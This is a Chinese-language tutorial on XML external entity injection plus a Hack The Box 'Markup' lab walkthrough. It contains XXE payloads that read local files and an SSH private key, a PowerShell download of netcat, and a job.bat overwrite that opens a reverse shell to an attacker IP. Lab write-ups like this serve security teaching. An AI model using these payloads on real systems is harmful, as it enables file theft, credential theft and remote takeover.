一、XML概述
- 可扩展标记语言(英語:Extensible Markup Language,简称:XML)是一种标记语言。XML是从标准通用标记语言(SGML)中简化修改出来的。它主要用到的有可扩展标记语言、可扩展样式语言(XSL)、XBRL和XPath等。其基本格式如下
<?xml version="1.0" encoding="UTF-8"?> <信息> <收件人>a</收件人> <发件人>b</发件人> <主题>问候</主题> <內容>你好 </內容> </信息>
- 上面的代码中的第一行就是XML声明,<?xml version="1.0"?>。这一行代码会告诉解析器或浏览器,这个文件应该按照XML规则进行解析。
- XML文档如果以XML declaration开始,则表述了文档的一些信息。如
<?xml version="1.0" encoding="UTF-8"?>
- XML标记:一个tag属于标记结构,以
<
开头,以>
结尾。Tag名字是大小写敏感,不能包括任何字符 !"#$%&'()*+,/;<=>?@[\]^`{|}~, 也不能有空格符, 不能以"-"或"."或数字开始 - XML元素:元素是文档逻辑组成,如<aaa></aaa>
二、XML外部实体注入概述
- XML外部实体注入是一种针对解析XML格式应用程序的攻击类型之一。此类攻击发生在配置不当的XML解析器处理指向外部实体的文档时,可能会导致敏感文件泄露、拒绝服务攻击、服务器端请求伪造、端口扫描(解析器所在域)和其他系统影响。
-
XML 1.0标准定义了XML文档结构,同时定义了实体的概念,即某种类型的存储单元。外部一般解析实体或外部参数解析实体通常简称为外部实体,攻击者可声明特定系统标识符(英语:System identifier)来访问服务器本地或远程内容。XML处理器假设系统标识符为可访问的统一资源标志符(URI),然后将同名的外部实体以系统标识符所指定的资源内容解除引用。若系统标识符被修改,则XML处理器可能会泄露应用程序通常无法访问的秘密信息。类似的攻击矢量可能会利用外部文档类型定义(DTD)、外部样式表和外部Schema等等,这些同样会导致类似的外部资源包含攻击。
-
此类攻击利用系统标识符中的文件、Schema及相对路径来泄露本地文件(如用户数据等)。由于攻击过程发生在处理XML文档的应用程序中,攻击者可滥用此受信的应用程序对其他内部系统进行攻击,也可能通过http(s)请求泄露其他内部内容,亦可能对其他未受保护的内部服务进行跨站请求伪造攻击。在部分情形下,攻击者可通过解引用恶意URI的方式对存在内存损坏(英语:Memory corruption)问题的XML处理库进行攻击,导致任意代码执行(以应用程序所使用的账户)。其他攻击针对持续返回数据的本地资源进行,可能会导致应用程序使用过多未释放的线程或行程。
三、XML外部实体注入利用
- 文件读取
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
- 代码执行。当PHP载入“expect”模块时,攻击者可使用修改过的载荷来执行远程代码
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds>
四、Hack The Box案例——Markup
(一)信息收集
-
端口扫描,开放了22、80、443端口,80、443端口开放有web服务,中间件为Apache 2.4.41,编程语言为PHP 7.2.28,OpenSSL 1.1.1c,服务器系统为Windows
-
打开网站,直接就是一个登录页面
-
尝试一下常见的弱口令,使用admin:password登录成功
-
在Order栏中,发现一个表单
-
看一看网页源代码,在注释中发现有用信息,像是一个用户名
-
BurpSuite抓包,熟悉的xml,有漏洞的话可能存在xxe注入,即xml外部实体注入
(二)getshell
-
修改数据包body为以下格式,重放数据包
<?xml version="1.0"?> <!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]> <order> <quantity> 2 </quantity> <item> &test; </item> <address> 17th Estate,CA </address> </order>
-
服务器正常回显,爆出了几个字段,验证确实存在xxe注入,利用xxe尝试读取该用户的ssh密钥,成功读取到密钥文件
<?xml version="1.0"?> <!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/users/daniel/.ssh/id_rsa'>]> <order> <quantity> 2 </quantity> <item> &test; </item> <address> 17th Estate,CA </address> </order>
-
将id_rsa保存到kali,然后通过该rsa对服务器进行ssh连接,成功获取shell
-
在Desktop找到user.txt
(三)权限提升
-
查看当前用户权限
whoami /priv
-
cd到C盘根目录下,查看有什么文件夹,发现有一个Log-Management文件夹,该文件夹中有一个job.bat批处理脚本
-
type查看job.bat文件内容,该脚本以管理员权限调用了一个叫做wevtutil.exe的程序,看起来像是清除日志的,我们可以尝试利用这个进行提权
-
用icacls命令查看该批处理文件的权限,该脚本拥有system和Administrator权限
-
要通过该脚本获取反向shell,只需要通过netcat在批量处理中创建有效负载文件即可,在kali上下载windows的netcat二进制文件,然后开启一个简单的web服务,在目标主机上通过powershell命令将nc.exe下载到传到目标主机上
Powershell -c "IWR -useBasicParsing http://10.10.16.9:8000/nc.exe -o nc.exe"
-
然后在目标主机上通过netcat利用job.bat创建反向shell到kali上,kali开启nc监听
echo C:\Log-Management\nc.exe -e cmd.exe 10.10.16.9 4444 > C:\Log-Management\job.bat sudo nc lvnp 4444
-
成功获取到管理员权限,在管理员桌面找到root.txt
- 中文(简体)
- 中文(繁体)
- 丹麦语
- 乌克兰语
- 乌尔都语
- 亚美尼亚语
- 俄语
- 保加利亚语
- 克罗地亚语
- 冰岛语
- 加泰罗尼亚语
- 匈牙利语
- 卡纳达语
- 印地语
- 印尼语
- 古吉拉特语
- 哈萨克语
- 土耳其语
- 威尔士语
- 孟加拉语
- 尼泊尔语
- 布尔语(南非荷兰语)
- 希伯来语
- 希腊语
- 库尔德语
- 德语
- 意大利语
- 拉脱维亚语
- 挪威语
- 捷克语
- 斯洛伐克语
- 斯洛文尼亚语
- 旁遮普语
- 日语
- 普什图语
- 毛利语
- 法语
- 波兰语
- 波斯语
- 泰卢固语
- 泰米尔语
- 泰语
- 海地克里奥尔语
- 爱沙尼亚语
- 瑞典语
- 立陶宛语
- 缅甸语
- 罗马尼亚语
- 老挝语
- 芬兰语
- 英语
- 荷兰语
- 萨摩亚语
- 葡萄牙语
- 西班牙语
- 越南语
- 阿塞拜疆语
- 阿姆哈拉语
- 阿尔巴尼亚语
- 阿拉伯语
- 韩语
- 马尔加什语
- 马拉地语
- 马拉雅拉姆语
- 马来语
- 马耳他语
- 高棉语